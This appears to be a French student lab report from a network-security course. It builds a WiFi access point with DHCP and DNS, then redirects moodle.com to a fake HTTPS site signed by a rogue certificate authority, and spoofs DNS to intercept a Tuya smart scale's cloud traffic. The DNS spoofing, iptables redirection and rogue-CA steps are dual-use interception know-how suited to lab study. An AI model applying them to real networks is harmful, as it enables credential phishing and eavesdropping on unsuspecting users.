3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
//TO DO Ajouter méthode routage android Android studio.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au résau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentai de me peser, la balance affiche err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient. A chaque fois qu'elle redémarre, elle vient récupérer une IP, elle n'aura donc pas forcement la 105.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma vm)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tcpdump -i eth1 -n port 53:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communque avec tuya via m2.tuyaeu.com et a3.tuyaeu.com&lt;br /&gt;
&lt;br /&gt;
et la vm android a1.tuyaeu.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tcpdump -i eth1 -n port 53: après avoir crée dns, site, etc a1.tuyaeu.com&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# tcpdump -i eth1 -n port 53&lt;br /&gt;
[5544865.540418] device eth1 entered promiscuous mode&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:30:55.146437 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.17620: 23156 5/0/0 CNAME reddit.map.fastly.net., A 151.101.129.140, A&lt;br /&gt;
 151.101.1.140, A 151.101.65.140, A 151.101.193.140 (129)&lt;br /&gt;
12:30:55.168796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.24249: 64622 2/0/0 CNAME us-central1-gcp.api.sc-gw.com., A 35.190.43.&lt;br /&gt;
134 (109)&lt;br /&gt;
12:30:55.322498 IP 172.16.10.100.26394 &amp;gt; 172.16.10.1.53: 29420+ A? scontent-cdg4-1.xx.fbcdn.net. (46)&lt;br /&gt;
12:30:56.095075 IP 172.16.10.100.62675 &amp;gt; 172.16.10.1.53: 46396+ A? cf-st.sc-cdn.net. (34)&lt;br /&gt;
12:30:56.121796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.62675: 46396 1/0/0 A 3.163.248.4 (50)&lt;br /&gt;
12:30:56.539099 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.26394: 29420 1/0/0 A 185.60.219.2 (62)&lt;br /&gt;
12:30:57.289763 IP 172.16.10.100.7071 &amp;gt; 172.16.10.1.53: 14247+ A? usc1-gcp-v62.api.snapchat.com. (47)&lt;br /&gt;
12:30:57.302767 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.7071: 14247 2/0/0 CNAME usc1-gcp-v62.api.sc-gw.com., A 34.120.159.232&lt;br /&gt;
 (103)&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:31:00.979103 IP 172.16.10.100.63625 &amp;gt; 172.16.10.1.53: 63574+ A? gql-fed.reddit.com. (36)&lt;br /&gt;
12:31:00.997721 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.63625: 63574 5/0/0 CNAME reddit.map.fastly.net., A 151.101.65.140, A &lt;br /&gt;
151.101.129.140, A 151.101.193.140, A 151.101.1.140 (135)&lt;br /&gt;
12:31:04.461507 IP 172.16.10.102.63971 &amp;gt; 172.16.10.1.53: 20792+ A? discord.com. (29)&lt;br /&gt;
12:31:04.461519 IP 172.16.10.102.54572 &amp;gt; 172.16.10.1.53: 15444+ Type65? discord.com. (29)&lt;br /&gt;
12:31:04.493098 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.63971: 20792 5/0/0 A 162.159.138.232, A 162.159.136.232, A 162.159.12&lt;br /&gt;
8.233, A 162.159.135.232, A 162.159.137.232 (109)&lt;br /&gt;
12:31:04.493306 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.54572: 15444 1/0/5 Type65 (158)&lt;br /&gt;
18 packets captured&lt;br /&gt;
18 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;tcpdump -i eth1 host 172.16.10.105 and not port 53 -A&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:36:41.148741 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4......&amp;lt;\)...........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.161323 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4g.....[.}T..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.167616 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i....P....Y...c....&lt;br /&gt;
12:36:41.490919 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i.r.u....).........&lt;br /&gt;
12:36:41.993612 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i..HE.....f........&lt;br /&gt;
12:36:42.011664 ARP, Request who-has 172.16.10.1 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
.....up. ..........&lt;br /&gt;
12:36:42.011672 ARP, Reply 172.16.10.1 is-at 00:16:3e:23:74:42 (oui Unknown), length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
...|.-L..&lt;br /&gt;
i&lt;br /&gt;
12:36:42.019053 IP 172.16.10.105.3872 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;gt;..&lt;br /&gt;
i..&lt;br /&gt;
.. &amp;quot;....m....`....&amp;lt;........&lt;br /&gt;
12:36:42.019100 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.3872: Flags [R.], seq 0, ack 6510, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.. .......nP.......&lt;br /&gt;
12:36:42.070419 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B......m....`...........&amp;lt;.&lt;br /&gt;
12:36:42.070442 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [S.], seq 3767910189, ack 6510, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..B....-...n`...l.......&lt;br /&gt;
12:36:42.077437 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O?..&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...4......&lt;br /&gt;
..&lt;br /&gt;
12:36:42.079986 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...........&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:42.080012 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l...&lt;br /&gt;
12:36:42.080447 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l.........(&lt;br /&gt;
12:36:42.080533 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B....5....P...l...&lt;br /&gt;
12:36:42.101652 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(.	....O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4s........&lt;br /&gt;
12:36:42.102116 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(.&lt;br /&gt;
....O;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4h.....&lt;br /&gt;
..&lt;br /&gt;
12:36:43.025368 IP 172.16.10.105.23869 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6511, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O6..&lt;br /&gt;
i..&lt;br /&gt;
.]=&amp;quot;....o....`............9&lt;br /&gt;
12:36:43.025387 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.23869: Flags [R.], seq 0, ack 6512, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.]=.......pP.......&lt;br /&gt;
12:36:44.025225 IP 172.16.10.105.22317 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6513, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O5..&lt;br /&gt;
i..&lt;br /&gt;
